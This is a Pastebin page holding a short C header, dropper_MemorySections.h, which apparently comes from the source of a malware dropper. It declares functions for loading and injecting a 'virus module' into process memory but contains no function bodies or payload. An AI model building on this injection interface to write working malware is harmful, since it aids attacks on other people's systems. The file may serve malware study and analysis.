Advertisement
FlyFar

dropper_MemorySections.h

Feb 19th, 2023
440
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.87 KB | Cybersecurity | 0 0
  1. #ifndef __MEMORY_SECTIONS_H__
  2. #define __MEMORY_SECTIONS_H__
  3.  
  4. #include "StdAfx.h"
  5. #include "define.h"
  6.  
  7. INT32 LoadVirusModuleSection(HANDLE hHandle, PGENERAL_INFO_BLOCK sInfoBlock, PVOID pVirusModule, INT32 pVirusModuleSize, INT32 iExecEntryNumber, PVOID pUnknownSegment, DWORD pUnknownSegmentSize, PVOID *ppModuleBlock);
  8. INT32 LoadAndInjectVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader, PVIRUS_MODULE_BLOCKS_HEADER sVirusModuleBlocksHeader, PGENERAL_INFO_BLOCK sInfoBlock);
  9.  
  10. DWORD GetCodeBlockSize(void);
  11. DWORD GetCodeBlock(void);
  12. DWORD GetRelativeExecuteLibraryPointer(void);
  13. DWORD GetRelativeAlignAddressesPointer(void);
  14.  
  15. INT32 LoadCodeSection(HANDLE hHandle, PVOID pVirusModuleSection, PVOID *pCodeBlockPointer, PVOID *pAssemblyCodeBlocksSection);
  16.  
  17. INT32 Setup(LPCWSTR szDebugModuleName, PVOID pVirusModule, DWORD iVirusModuleSize, HMODULE *hVirusModule);
  18.  
  19. #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement